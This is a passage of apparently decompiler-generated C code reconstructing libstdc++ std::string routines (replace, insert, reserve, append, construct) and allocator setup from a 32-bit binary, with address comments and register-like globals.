int32_t v14 = *(int32_t *)(*(int32_t *)a1 - 12); // 0x809c5d6
result = std__string___M_replace_safe((int32_t *)a1, (int32_t **)g2, v14, a2, v5, 0, 0, 0, v2, v1);
// branch -> 0x809c5ef
}
// 0x809c5ef
g98 = v2;
g101 = v1;
return result;
}
// Address range: 0x809c6e8 - 0x809c71b
int32_t std__string__operator_eq_(int32_t ** a1, char * str) {
// 0x809c6e8
return std__string__assign(a1, (char *)(int32_t)str, (char *)strlen(str));
}
// Address range: 0x809c71c - 0x809c7a3
int32_t std__string___M_replace_aux(int32_t * a1, int32_t ** a2, int32_t a3, uint32_t a4, unsigned char a5, int32_t a6, int32_t * a7, int32_t a8, int32_t * a9, int32_t ** a10) {
int32_t v1 = g102; // 0x809c71f
int32_t v2 = g101; // 0x809c720
int32_t v3 = g98; // 0x809c721
g98 = (int32_t)a1;
g101 = a4;
g102 = a5;
if (0x3ffffffc - (*(int32_t *)(*a1 - 12) - a3) < a4) {
// 0x809c797
std____throw_length_error("basic_string::_M_replace_aux", 0, 0, 0);
return g95;
}
// 0x809c744
std__string___M_mutate((int32_t **)a1, a2, a3, a4);
int32_t result; // 0x809c781
if (g101 == 0) {
// 0x809c781
result = g98;
g98 = v3;
g101 = v2;
g102 = v1;
return result;
}
int32_t v4 = *(int32_t *)g98 + (int32_t)a2; // 0x809c762
int32_t v5 = 0x1000000 * g102 / 0x1000000; // 0x809c766
if (g101 == 1) {
// 0x809c78b
*(char *)v4 = (char)v5;
int32_t result2 = g98; // 0x809c78d
g98 = (int32_t)a7;
g101 = a8;
g102 = (int32_t)a9;
return result2;
}
// 0x809c76e
memset((int32_t *)v4, v5, g101);
// branch -> 0x809c781
// 0x809c781
result = g98;
g98 = v3;
g101 = v2;
g102 = v1;
return result;
}
// Address range: 0x809c876 - 0x809c8bf
int32_t std__string__insert_649(int32_t * a1, int32_t ** a2, int32_t a3, char a4) {
int32_t v1 = g100; // 0x809c876
int32_t v2 = g98; // 0x809c879
int32_t v3 = (int32_t)a1; // 0x809c87d
g98 = v3;
if ((int32_t)a2 > *(int32_t *)(*a1 - 12)) {
// 0x809c8b3
std____throw_out_of_range("basic_string::insert", v3);
return g95;
}
// 0x809c88e
int32_t v4;
int32_t result = std__string___M_replace_aux(a1, a2, (int32_t)g2, a3, a4, v2, (int32_t *)v1, v4, a1, a2); // 0x809c8a8
g98 = v2;
g100 = v1;
return result;
}
// Address range: 0x809c8f4 - 0x809c92f
int32_t std__string__operator_eq__651(int32_t * a1, int32_t ** a2) {
int32_t v1 = g100; // 0x809c8f4
int32_t v2 = g98; // 0x809c8f7
g98 = (int32_t)a1;
int32_t v3 = *(int32_t *)(*a1 - 12); // 0x809c910
int32_t v4;
std__string___M_replace_aux(a1, (int32_t **)g2, v3, 1, (char)(0x1000000 * (int32_t)a2 / 0x1000000), v2, (int32_t *)v1, v4, a1, a2);
int32_t result = g98; // 0x809c927
g98 = v2;
g100 = v1;
return result;
}
// Address range: 0x809cc8e - 0x809ccd7
int32_t std__string___M_leak_hard(int32_t * a1) {
int32_t v1 = g98; // 0x809cc91
g98 = (int32_t)a1;
int32_t v2 = *a1; // 0x809cc98
if (v2 == 0x8134ee8) {
// 0x809ccd1
g98 = v1;
return 0x8134ee8;
}
// 0x809cca1
int32_t result; // 0x809ccd6_11
if (*(int32_t *)(v2 - 4) >= 1) {
struct struct_18 * v3 = g2; // 0x809ccc3_4
int32_t v4 = (int32_t)v3; // 0x809ccc3
std__string___M_mutate((int32_t **)a1, (int32_t **)v3, v4, v4);
result = *(int32_t *)g98;
// branch -> 0x809ccca
} else {
result = v2;
}
// 0x809ccca
*(int32_t *)(result - 4) = -1;
// branch -> 0x809ccd1
// 0x809ccd1
g98 = v1;
return result;
}
// Address range: 0x809cdb0 - 0x809cdd5
int32_t std__string__operator_lsb__rsb__663(int32_t * a1, int32_t a2) {
int32_t v1 = g98; // 0x809cdb3
g98 = (int32_t)a1;
int32_t v2 = *a1; // 0x809cdba
int32_t v3; // 0x809cdcd
if (*(int32_t *)(v2 - 4) >= 0) {
// 0x809cdc3
std__string___M_leak_hard(a1);
v3 = *(int32_t *)g98;
// branch -> 0x809cdcd
} else {
v3 = v2;
}
// 0x809cdcd
g98 = v1;
return v3 + a2;
}
// Address range: 0x809cf36 - 0x809d05f
int32_t std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666(int32_t ** a1) {
int32_t v1 = g100; // 0x809cf36
int32_t v2 = g98; // 0x809cf3a
int32_t * v3; // 0x809d03a_31
uint32_t v4; // 0x809d026
int32_t v5; // 0x809d03a
int32_t * v6;
int32_t v7; // 0x809cf4a
int32_t v8; // 0x809cf4c
if (g27 != 0) {
// 0x809cf36
// branch -> 0x809cf47
// 0x809cf47
g95 = (int32_t)a1;
v7 = *(int32_t *)a1;
v8 = v7 - 12;
g98 = v8;
if (v8 == 0x8134edc) {
// 0x809cf5e
std__allocator_lt_char_gt_();
g98 = v2;
g100 = (int32_t)(int32_t *)v1;
return (int32_t)(int32_t *)v7;
}
// 0x809d018
v4 = __gnu_cxx____exchange_and_add((int32_t *)(v7 - 4), -1);
if (v4 <= 0) {
// 0x809d033
v5 = std__string___Rep___M_destroy((int32_t *)g98);
v6 = (int32_t *)0x809d03f;
v3 = (int32_t *)v5;
// branch -> 0x809cf5e
} else {
v6 = (int32_t *)0x809d02b;
v3 = (int32_t *)v4;
}
// 0x809cf5e
std__allocator_lt_char_gt_();
g98 = v2;
g100 = (int32_t)v6;
return (int32_t)v3;
}
int32_t v9 = (int32_t)a1; // 0x809cf74
int32_t * v10;
if (__cxa_guard_acquire((char *)0x8132c08, v9, 0, 0, 0, 0, 0, 0, 0) != 0) {
// 0x809cf7d
g28 = 8;
g29 = 128;
g30 = 8;
g31 = 4080;
g32 = 0x1000;
g33 = 10;
g34 = getenv("GLIBCXX_FORCE_NEW") != NULL;
g35 = 0;
g36 = 0;
g37 = 0;
g38 = 1;
g40 = 0;
g39 = 0;
__cxa_guard_release((struct struct_59 *)&g27);
v10 = (int32_t *)0x809d013;
// branch -> 0x809cf47
} else {
v10 = (int32_t *)0x809cf79;
}
// 0x809cf47
g95 = v9;
v7 = *(int32_t *)a1;
v8 = v7 - 12;
g98 = v8;
if (v8 == 0x8134edc) {
// 0x809cf5e
std__allocator_lt_char_gt_();
g98 = v2;
g100 = (int32_t)v10;
return (int32_t)(int32_t *)v7;
}
// 0x809d018
v4 = __gnu_cxx____exchange_and_add((int32_t *)(v7 - 4), -1);
if (v4 <= 0) {
// 0x809d033
v5 = std__string___Rep___M_destroy((int32_t *)g98);
v6 = (int32_t *)0x809d03f;
v3 = (int32_t *)v5;
// branch -> 0x809cf5e
} else {
v6 = (int32_t *)0x809d02b;
v3 = (int32_t *)v4;
}
// 0x809cf5e
std__allocator_lt_char_gt_();
g98 = v2;
g100 = (int32_t)v6;
return (int32_t)v3;
}
// Address range: 0x809d060 - 0x809d1d3
int32_t std__string__reserve(int32_t ** a1, int32_t * a2) {
int32_t v1 = g102; // 0x809d063
int32_t v2 = g101; // 0x809d064
int32_t v3 = g98; // 0x809d065
uint32_t v4 = (int32_t)a2; // 0x809d069
g98 = v4;
int32_t v5 = (int32_t)a1; // 0x809d06c
int32_t v6 = *(int32_t *)a1; // 0x809d06f
int32_t * v7 = (int32_t *)v6; // 0x809d06f_1
int32_t ** v8; // 0x809d1b0_03
int32_t v9;
int32_t v10; // 0x809d086
int32_t v11; // 0x809d0a4
int32_t v12; // 0x809d086
int32_t v13; // 0x809d0a6
uint32_t v14; // 0x809d076
if (*(int32_t *)(v6 - 8) == v4) {
uint32_t v15 = *(int32_t *)(v6 - 4); // 0x809d0ec
g101 = v15;
if (v15 <= 0) {
// 0x809d0c2
g98 = v3;
g101 = v2;
g102 = v1;
return (int32_t)v7;
}
// 0x809d076
v14 = *(int32_t *)(v6 - 12);
if (v4 < v14) {
// 0x809d0ca
g98 = v14;
if (g27 != 0) {
// 0x809d086
v12 = (int32_t)v7 - 12;
v10 = g98 - *(int32_t *)v12;
g98 = v10;
g102 = std__string___Rep___M_clone((struct struct_98 *)v12, v9, v10, 0, 0, 0, 0);
v11 = *(int32_t *)a1;
v13 = v11 - 12;
g98 = v13;
v8 = a1;
if (v13 != 0x8134edc) {
// 0x809d195
if (__gnu_cxx____exchange_and_add((int32_t *)(v11 - 4), -1) <= 0) {
// 0x809d1b0
std__string___Rep___M_destroy((int32_t *)g98);
v8 = (int32_t **)g101;
// branch -> 0x809d0b5
} else {
v8 = (int32_t **)-1;
}
}
// 0x809d0b5
*v8 = (int32_t *)g102;
std__allocator_lt_char_gt_();
// branch -> 0x809d0c2
// 0x809d0c2
g98 = v3;
g101 = v2;
g102 = v1;
return (int32_t)(int32_t *)v8;
}
} else {
// 0x809d07d
if (g27 != 0) {
// 0x809d086
v12 = (int32_t)v7 - 12;
v10 = g98 - *(int32_t *)v12;
g98 = v10;
g102 = std__string___Rep___M_clone((struct struct_98 *)v12, v9, v10, 0, 0, 0, 0);
v11 = *(int32_t *)a1;
v13 = v11 - 12;
g98 = v13;
v8 = a1;
if (v13 != 0x8134edc) {
// 0x809d195
if (__gnu_cxx____exchange_and_add((int32_t *)(v11 - 4), -1) <= 0) {
// 0x809d1b0
std__string___Rep___M_destroy((int32_t *)g98);
v8 = (int32_t **)g101;
// branch -> 0x809d0b5
} else {
v8 = (int32_t **)-1;
}
}
// 0x809d0b5
*v8 = (int32_t *)g102;
std__allocator_lt_char_gt_();
// branch -> 0x809d0c2
// 0x809d0c2
g98 = v3;
g101 = v2;
g102 = v1;
return (int32_t)(int32_t *)v8;
}
}
// 0x809d0d5
if (__cxa_guard_acquire((char *)0x8132c08, v5, v4, 0, 0, 0, 0, 0, 0) == 0) {
// 0x809d0e5
// branch -> 0x809d086
} else {
// 0x809d0f5
g28 = 8;
g29 = 128;
g30 = 8;
g31 = 4080;
g32 = 0x1000;
g33 = 10;
g34 = getenv("GLIBCXX_FORCE_NEW") != NULL;
g35 = 0;
g36 = 0;
g37 = 0;
g38 = 1;
g40 = 0;
g39 = 0;
__cxa_guard_release((struct struct_59 *)&g27);
// branch -> 0x809d086
}
// 0x809d086
v12 = (int32_t)(int32_t *)*(int32_t *)a1 - 12;
v10 = g98 - *(int32_t *)v12;
g98 = v10;
g102 = std__string___Rep___M_clone((struct struct_98 *)v12, v9, v10, 0, 0, 0, 0);
v11 = *(int32_t *)a1;
v13 = v11 - 12;
g98 = v13;
v8 = a1;
if (v13 != 0x8134edc) {
// 0x809d195
if (__gnu_cxx____exchange_and_add((int32_t *)(v11 - 4), -1) <= 0) {
// 0x809d1b0
std__string___Rep___M_destroy((int32_t *)g98);
v8 = (int32_t **)g101;
// branch -> 0x809d0b5
} else {
v8 = (int32_t **)-1;
}
}
// 0x809d0b5
*v8 = (int32_t *)g102;
std__allocator_lt_char_gt_();
// branch -> 0x809d0c2
// 0x809d0c2
g98 = v3;
g101 = v2;
g102 = v1;
return (int32_t)(int32_t *)v8;
}
// 0x809d076
v14 = *(int32_t *)(v6 - 12);
if (v4 >= v14) {
// 0x809d07d
if (g27 != 0) {
// 0x809d086
v12 = (int32_t)v7 - 12;
v10 = g98 - *(int32_t *)v12;
g98 = v10;
g102 = std__string___Rep___M_clone((struct struct_98 *)v12, v9, v10, 0, 0, 0, 0);
v11 = *(int32_t *)a1;
v13 = v11 - 12;
g98 = v13;
v8 = a1;
if (v13 != 0x8134edc) {
// 0x809d195
if (__gnu_cxx____exchange_and_add((int32_t *)(v11 - 4), -1) <= 0) {
// 0x809d1b0
std__string___Rep___M_destroy((int32_t *)g98);
v8 = (int32_t **)g101;
// branch -> 0x809d0b5
} else {
v8 = (int32_t **)-1;
}
}
// 0x809d0b5
*v8 = (int32_t *)g102;
std__allocator_lt_char_gt_();
// branch -> 0x809d0c2
// 0x809d0c2
g98 = v3;
g101 = v2;
g102 = v1;
return (int32_t)(int32_t *)v8;
}
// 0x809d0d5
if (__cxa_guard_acquire((char *)0x8132c08, v5, v4, 0, 0, 0, 0, 0, 0) == 0) {
// 0x809d0e5
// branch -> 0x809d086
} else {
// 0x809d0f5
g28 = 8;
g29 = 128;
g30 = 8;
g31 = 4080;
g32 = 0x1000;
g33 = 10;
g34 = getenv("GLIBCXX_FORCE_NEW") != NULL;
g35 = 0;
g36 = 0;
g37 = 0;
g38 = 1;
g40 = 0;
g39 = 0;
__cxa_guard_release((struct struct_59 *)&g27);
// branch -> 0x809d086
}
// 0x809d086
v12 = (int32_t)(int32_t *)*(int32_t *)a1 - 12;
v10 = g98 - *(int32_t *)v12;
g98 = v10;
g102 = std__string___Rep___M_clone((struct struct_98 *)v12, v9, v10, 0, 0, 0, 0);
v11 = *(int32_t *)a1;
v13 = v11 - 12;
g98 = v13;
v8 = a1;
if (v13 != 0x8134edc) {
// 0x809d195
if (__gnu_cxx____exchange_and_add((int32_t *)(v11 - 4), -1) <= 0) {
// 0x809d1b0
std__string___Rep___M_destroy((int32_t *)g98);
v8 = (int32_t **)g101;
// branch -> 0x809d0b5
} else {
v8 = (int32_t **)-1;
}
}
// 0x809d0b5
*v8 = (int32_t *)g102;
std__allocator_lt_char_gt_();
// branch -> 0x809d0c2
// 0x809d0c2
g98 = v3;
g101 = v2;
g102 = v1;
return (int32_t)(int32_t *)v8;
}
// 0x809d0ca
g98 = v14;
if (g27 != 0) {
// 0x809d086
v12 = (int32_t)v7 - 12;
v10 = g98 - *(int32_t *)v12;
g98 = v10;
g102 = std__string___Rep___M_clone((struct struct_98 *)v12, v9, v10, 0, 0, 0, 0);
v11 = *(int32_t *)a1;
v13 = v11 - 12;
g98 = v13;
v8 = a1;
if (v13 != 0x8134edc) {
// 0x809d195
if (__gnu_cxx____exchange_and_add((int32_t *)(v11 - 4), -1) <= 0) {
// 0x809d1b0
std__string___Rep___M_destroy((int32_t *)g98);
v8 = (int32_t **)g101;
// branch -> 0x809d0b5
} else {
v8 = (int32_t **)-1;
}
}
// 0x809d0b5
*v8 = (int32_t *)g102;
std__allocator_lt_char_gt_();
// branch -> 0x809d0c2
// 0x809d0c2
g98 = v3;
g101 = v2;
g102 = v1;
return (int32_t)(int32_t *)v8;
}
// 0x809d0d5
if (__cxa_guard_acquire((char *)0x8132c08, v5, v4, 0, 0, 0, 0, 0, 0) == 0) {
// 0x809d0e5
// branch -> 0x809d086
} else {
// 0x809d0f5
g28 = 8;
g29 = 128;
g30 = 8;
g31 = 4080;
g32 = 0x1000;
g33 = 10;
g34 = getenv("GLIBCXX_FORCE_NEW") != NULL;
g35 = 0;
g36 = 0;
g37 = 0;
g38 = 1;
g40 = 0;
g39 = 0;
__cxa_guard_release((struct struct_59 *)&g27);
// branch -> 0x809d086
}
// 0x809d086
v12 = (int32_t)(int32_t *)*(int32_t *)a1 - 12;
v10 = g98 - *(int32_t *)v12;
g98 = v10;
g102 = std__string___Rep___M_clone((struct struct_98 *)v12, v9, v10, 0, 0, 0, 0);
v11 = *(int32_t *)a1;
v13 = v11 - 12;
g98 = v13;
v8 = a1;
if (v13 != 0x8134edc) {
// 0x809d195
if (__gnu_cxx____exchange_and_add((int32_t *)(v11 - 4), -1) <= 0) {
// 0x809d1b0
std__string___Rep___M_destroy((int32_t *)g98);
v8 = (int32_t **)g101;
// branch -> 0x809d0b5
} else {
v8 = (int32_t **)-1;
}
}
// 0x809d0b5
*v8 = (int32_t *)g102;
std__allocator_lt_char_gt_();
// branch -> 0x809d0c2
// 0x809d0c2
g98 = v3;
g101 = v2;
g102 = v1;
return (int32_t)(int32_t *)v8;
}
// Address range: 0x809d226 - 0x809d2bf
int32_t std__string__append(int32_t * a1, int32_t a2, char a3) {
int32_t v1 = g102; // 0x809d229
int32_t v2 = g101; // 0x809d22a
int32_t v3 = g98; // 0x809d22b
int32_t result = (int32_t)a1; // 0x809d22f
g101 = result;
g102 = a2;
g95 = a3;
if (a2 == 0) {
// 0x809d29e
g98 = v3;
g101 = v2;
g102 = v1;
return result;
}
int32_t v4 = *a1; // 0x809d240
int32_t v5 = *(int32_t *)(v4 - 12); // 0x809d242
if (0x3ffffffc - v5 < a2) {
// 0x809d2ac
std____throw_length_error("basic_string::append", result, a2, (int32_t)a3);
return g95;
}
int32_t v6 = v5 + a2; // 0x809d250
g98 = v6;
int32_t v7; // 0x809d26f
int32_t v8; // 0x809d272
int32_t v9; // 0x809d26d
int32_t result2; // 0x809d29e
int32_t v10; // 0x809d28e
int32_t v11; // 0x809d27b
if (v6 > *(int32_t *)(v4 - 8)) {
// 0x809d25f
std__string__reserve((int32_t **)a1, (int32_t *)v6);
v11 = g102;
v9 = *(int32_t *)g101;
// branch -> 0x809d26d
// 0x809d26d
v7 = *(int32_t *)(v9 - 12) + v9;
v8 = a3;
g97 = v8;
if (v11 == 1) {
// 0x809d2a8
*(char *)v7 = a3;
// branch -> 0x809d28e
} else {
// 0x809d27b
memset((int32_t *)v7, v8, v11);
// branch -> 0x809d28e
}
// 0x809d28e
v10 = *(int32_t *)g101;
g95 = v10;
*(int32_t *)(v10 - 4) = 0;
*(int32_t *)(g95 - 12) = g98;
*(char *)(g98 + g95) = 0;
result2 = g101;
// branch -> 0x809d29e
// 0x809d29e
g98 = v3;
g101 = v2;
g102 = v1;
return result2;
}
// 0x809d258
if (*(int32_t *)(v4 - 4) >= 1) {
// 0x809d25f
std__string__reserve((int32_t **)a1, (int32_t *)v6);
v11 = g102;
v9 = *(int32_t *)g101;
// branch -> 0x809d26d
} else {
v11 = a2;
v9 = v4;
}
// 0x809d26d
v7 = *(int32_t *)(v9 - 12) + v9;
v8 = a3;
g97 = v8;
if (v11 == 1) {
// 0x809d2a8
*(char *)v7 = a3;
// branch -> 0x809d28e
} else {
// 0x809d27b
memset((int32_t *)v7, v8, v11);
// branch -> 0x809d28e
}
// 0x809d28e
v10 = *(int32_t *)g101;
g95 = v10;
*(int32_t *)(v10 - 4) = 0;
*(int32_t *)(g95 - 12) = g98;
*(char *)(g98 + g95) = 0;
result2 = g101;
// branch -> 0x809d29e
// 0x809d29e
g98 = v3;
g101 = v2;
g102 = v1;
return result2;
}
// Address range: 0x809d370 - 0x809d429
int32_t std__string__append_668(int32_t * a1, uint32_t a2, uint32_t a3) {
int32_t v1 = g101; // 0x809d374
int32_t v2 = g98; // 0x809d375
int32_t result = (int32_t)a1; // 0x809d379
g101 = result;
g98 = a2;
g95 = a3;
if (a3 == 0) {
// 0x809d3d5
g98 = v2;
g101 = v1;
return result;
}
uint32_t v3 = *a1; // 0x809d386
int32_t v4 = *(int32_t *)(v3 - 12); // 0x809d388
if (0x3ffffffc - v4 < a3) {
// 0x809d41d
std____throw_length_error("basic_string::append", result, a2, a3);
return g95;
}
int32_t v5 = v4 + a3; // 0x809d39e
g102 = v5;
int32_t v6; // 0x809d3b7
int32_t result2; // 0x809d3d5
int32_t v7; // 0x809d3c5
int32_t v8; // 0x809d416
int32_t v9; // 0x809d3b7
if (v5 > *(int32_t *)(v3 - 8)) {
// 0x809d3a5
if (v3 <= a2) {
// 0x809d401
if (v4 + v3 >= a2) {
// 0x809d408
g98 = a2 - v3;
std__string__reserve((int32_t **)a1, (int32_t *)v5);
v8 = *(int32_t *)g101;
g98 += v8;
v9 = v8;
// branch -> 0x809d3b7
// 0x809d3b7
v6 = *(int32_t *)(v9 - 12) + v9;
g97 = v6;
if (a3 == 1) {
// 0x809d3c0
*(char *)v6 = *(char *)g98;
// branch -> 0x809d3c5
} else {
// 0x809d3ec
memcpy((int32_t *)v6, (int32_t *)g98, a3);
// branch -> 0x809d3c5
}
// 0x809d3c5
v7 = *(int32_t *)g101;
g95 = v7;
*(int32_t *)(v7 - 4) = 0;
*(int32_t *)(g95 - 12) = g102;
*(char *)(g102 + g95) = 0;
result2 = g101;
// branch -> 0x809d3d5
// 0x809d3d5
g98 = v2;
g101 = v1;
return result2;
}
}
// 0x809d3a9
std__string__reserve((int32_t **)a1, (int32_t *)v5);
v9 = *(int32_t *)g101;
// branch -> 0x809d3b7
// 0x809d3b7
v6 = *(int32_t *)(v9 - 12) + v9;
g97 = v6;
if (a3 == 1) {
// 0x809d3c0
*(char *)v6 = *(char *)g98;
// branch -> 0x809d3c5
} else {
// 0x809d3ec
memcpy((int32_t *)v6, (int32_t *)g98, a3);
// branch -> 0x809d3c5
}
// 0x809d3c5
v7 = *(int32_t *)g101;
g95 = v7;
*(int32_t *)(v7 - 4) = 0;
*(int32_t *)(g95 - 12) = g102;
*(char *)(g102 + g95) = 0;
result2 = g101;
// branch -> 0x809d3d5
// 0x809d3d5
g98 = v2;
g101 = v1;
return result2;
}
// 0x809d3df
if (*(int32_t *)(v3 - 4) >= 1) {
// 0x809d3e6
if (v3 <= a2) {
// 0x809d401
if (v4 + v3 >= a2) {
// 0x809d408
g98 = a2 - v3;
std__string__reserve((int32_t **)a1, (int32_t *)v5);
v8 = *(int32_t *)g101;
g98 += v8;
v9 = v8;
// branch -> 0x809d3b7
// 0x809d3b7
v6 = *(int32_t *)(v9 - 12) + v9;
g97 = v6;
if (a3 == 1) {
// 0x809d3c0
*(char *)v6 = *(char *)g98;
// branch -> 0x809d3c5
} else {
// 0x809d3ec
memcpy((int32_t *)v6, (int32_t *)g98, a3);
// branch -> 0x809d3c5
}
// 0x809d3c5
v7 = *(int32_t *)g101;
g95 = v7;
*(int32_t *)(v7 - 4) = 0;
*(int32_t *)(g95 - 12) = g102;
*(char *)(g102 + g95) = 0;
result2 = g101;
// branch -> 0x809d3d5
// 0x809d3d5
g98 = v2;
g101 = v1;
return result2;
}
}
// 0x809d3a9
std__string__reserve((int32_t **)a1, (int32_t *)v5);
v9 = *(int32_t *)g101;
// branch -> 0x809d3b7
} else {
v9 = v3;
}
// 0x809d3b7
v6 = *(int32_t *)(v9 - 12) + v9;
g97 = v6;
if (a3 == 1) {
// 0x809d3c0
*(char *)v6 = *(char *)g98;
// branch -> 0x809d3c5
} else {
// 0x809d3ec
memcpy((int32_t *)v6, (int32_t *)g98, a3);
// branch -> 0x809d3c5
}
// 0x809d3c5
v7 = *(int32_t *)g101;
g95 = v7;
*(int32_t *)(v7 - 4) = 0;
*(int32_t *)(g95 - 12) = g102;
*(char *)(g102 + g95) = 0;
result2 = g101;
// branch -> 0x809d3d5
// 0x809d3d5
g98 = v2;
g101 = v1;
return result2;
}
// Address range: 0x809d42a - 0x809d45d
int32_t std__string__append_669(int32_t * a1, int32_t a2) {
// 0x809d42a
g97 = a2;
int32_t len = strlen((char *)a2); // 0x809d43e
return std__string__append_668(a1, g97, 0x1000000 * len / 0x1000000);
}
// Address range: 0x809d52c - 0x809d5a3
int32_t std__string__append_671(int32_t * a1, int32_t * a2) {
int32_t v1 = g102; // 0x809d52f
int32_t v2 = g101; // 0x809d530
int32_t v3 = g98; // 0x809d531
int32_t result = (int32_t)a1; // 0x809d535
g101 = result;
int32_t v4 = *a2; // 0x809d53b
int32_t v5 = *(int32_t *)(v4 - 12); // 0x809d53d
g98 = v5;
if (v5 == 0) {
// 0x809d592
g98 = v3;
g101 = v2;
g102 = v1;
return result;
}
int32_t v6 = *a1; // 0x809d544
int32_t v7 = *(int32_t *)(v6 - 12) + v5; // 0x809d548
g102 = v7;
int32_t v8; // 0x809d56a
int32_t v9;
int32_t result2; // 0x809d592
int32_t v10; // 0x809d582
int32_t v11; // 0x809d56a
int32_t v12; // 0x809d572
int32_t v13; // 0x809d576
if (v7 > *(int32_t *)(v6 - 8)) {
// 0x809d557
std__string__reserve((int32_t **)a1, (int32_t *)v7);
v13 = *a2;
v12 = g98;
v11 = *(int32_t *)g101;
// branch -> 0x809d56a
// 0x809d56a
v8 = *(int32_t *)(v11 - 12) + v11;
if (v12 == 1) {
// 0x809d59c
*(char *)v8 = *(char *)v13;
// branch -> 0x809d582
} else {
// 0x809d572
memcpy((int32_t *)v8, (int32_t *)v13, v12);
// branch -> 0x809d582
}
// 0x809d582
v10 = *(int32_t *)g101;
v9 = v10;
*(int32_t *)(v10 - 4) = 0;
*(int32_t *)(v9 - 12) = g102;
*(char *)(g102 + v9) = 0;
result2 = g101;
// branch -> 0x809d592
// 0x809d592
g98 = v3;
g101 = v2;
g102 = v1;
return result2;
}
// 0x809d550
if (*(int32_t *)(v6 - 4) >= 1) {
// 0x809d557
std__string__reserve((int32_t **)a1, (int32_t *)v7);
v13 = *a2;
v12 = g98;
v11 = *(int32_t *)g101;
// branch -> 0x809d56a
} else {
v13 = v4;
v12 = v5;
v11 = v6;
}
// 0x809d56a
v8 = *(int32_t *)(v11 - 12) + v11;
if (v12 == 1) {
// 0x809d59c
*(char *)v8 = *(char *)v13;
// branch -> 0x809d582
} else {
// 0x809d572
memcpy((int32_t *)v8, (int32_t *)v13, v12);
// branch -> 0x809d582
}
// 0x809d582
v10 = *(int32_t *)g101;
v9 = v10;
*(int32_t *)(v10 - 4) = 0;
*(int32_t *)(v9 - 12) = g102;
*(char *)(g102 + v9) = 0;
result2 = g101;
// branch -> 0x809d592
// 0x809d592
g98 = v3;
g101 = v2;
g102 = v1;
return result2;
}
// Address range: 0x809d87c - 0x809d87f
void std__string__operator_eq__675(void) {
// 0x809d87c
return;
}
// Address range: 0x809dd6e - 0x809debf
int32_t std__string___S_construct_lt_char_const__ptr__gt_(char * a1, char * a2, struct struct_97 * a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8) {
int32_t v1 = g100; // 0x809dd6e
int32_t v2 = g102; // 0x809dd71
int32_t v3 = g101; // 0x809dd72
int32_t v4 = g98; // 0x809dd73
int32_t v5 = (int32_t)a1; // 0x809dd77
g102 = v5;
int32_t v6 = (int32_t)a2; // 0x809dd7a
g95 = v6;
int32_t v7;
if (a1 != a2) {
// 0x809dd81
if (a1 == NULL) {
// 0x809deb8
v7 = (int32_t)"basic_string::_S_construct NULL not valid";
std____throw_logic_error("basic_string::_S_construct NULL not valid", 0, 0, 0);
return g95;
}
int32_t v8 = v6 - v5; // 0x809dd8b
g101 = v8;
int32_t v9 = std__string___Rep___S_create(&((struct struct_97 *)v8)->e0, &g2->e0); // 0x809dd9f
int32_t v10 = v9 + 12; // 0x809dda6
struct struct_97 * v11 = (struct struct_97 *)v10; // 0x809dda9_0
if (g101 == 1) {
// 0x809dddf
*(char *)v10 = *(char *)g102;
// branch -> 0x809ddc4
} else {
// 0x809ddb1
memcpy(&v11->e0, &((struct struct_98 *)g102)->e0, g101);
// branch -> 0x809ddc4
}
// 0x809ddc4
((struct struct_99 *)v9)->e2 = 0;
*(int32_t *)v9 = g101;
int32_t v12 = (int32_t)v11; // 0x809ddcd
g95 = v12;
*(char *)(v12 + g101) = 0;
g98 = v4;
g101 = v3;
g102 = v2;
g100 = v1;
return (int32_t)v11;
}
void (*v13)();
if (g27 == 0) {
// 0x809de0d
v7 = 0x8132c08;
if (__cxa_guard_acquire((char *)&v7, 0, 0, 0, 0, 0, 0, 0, 0) != 0) {
// 0x809de1d
g28 = 8;
g29 = 128;
g30 = 8;
g31 = 4080;
g32 = 0x1000;
g33 = 10;
v7 = (int32_t)"GLIBCXX_FORCE_NEW";
g34 = getenv("GLIBCXX_FORCE_NEW") != NULL;
g35 = 0;
g36 = 0;
g37 = 0;
g38 = 1;
g40 = 0;
g39 = 0;
v7 = 0x8132c08;
__cxa_guard_release((struct struct_59 *)&g27);
v13 = (void (*)())0x809deb3;
// branch -> 0x809ddf0
} else {
v13 = (void (*)())0x809de19;
}
}
// 0x809ddf0
std__allocator_lt_char_gt_();
int32_t v14;
g98 = v14;
int32_t v15;
g101 = v15;
int32_t v16;
g102 = v16;
g100 = (int32_t)v13;
return 0x8134ee8;
}
// Address range: 0x809e09e - 0x809e18b
int32_t std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__678(int32_t * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7) {
// 0x809e09e
int32_t v1;
int32_t v2 = v1;
int32_t v3 = g100; // 0x809e09e
int32_t v4 = g98; // 0x809e0a1
int32_t v5 = a4; // bp-20
int32_t v6 = a3 + a2; // 0x809e0b6
g97 = v6;
int32_t v7 = a2; // bp-28
int32_t v8 = std__string___S_construct_lt_char_const__ptr__gt_((char *)&v7, (char *)&v6, (struct struct_97 *)&v5, 0x1000000 * a2 / 0x1000000, 0, v4, v3, v1); // 0x809e0bf
g98 = v8;
int32_t * v9;
int32_t v10; // 0x809e0d2
if (g27 == 0) {
// 0x809e0da
v2 = 0x8132c08;
int32_t result = (int32_t)a1; // 0x809e0e1
if (__cxa_guard_acquire((char *)&v2, result, a2, a3, a4, a5, a6, a7, 0) != 0) {
// 0x809e0ea
g28 = 8;
g29 = 128;
g30 = 8;
g31 = 4080;
g32 = 0x1000;
g33 = 10;
v2 = (int32_t)"GLIBCXX_FORCE_NEW";
g34 = getenv("GLIBCXX_FORCE_NEW") != NULL;
g35 = 0;
g36 = 0;
g37 = 0;
g38 = 1;
g40 = 0;
g39 = 0;
v2 = 0x8132c08;
__cxa_guard_release((struct struct_59 *)&g27);
*a1 = g98;
g98 = a5;
g100 = a6;
return result;
}
v10 = g98;
v9 = (int32_t *)0x809e0e6;
// branch -> 0x809e0cf
} else {
// 0x809e09e
v10 = v8;
v9 = (int32_t *)v3;
// branch -> 0x809e0cf
}
// 0x809e0cf
*a1 = v10;
g98 = v4;
g100 = (int32_t)v9;
return (int32_t)a1;
}
// Address range: 0x809e8f0 - 0x809e9ef
int32_t std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(int32_t * a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6) {
int32_t v1 = g100; // 0x809e8f0
int32_t v2 = g102; // 0x809e8f3
g97 = a2;
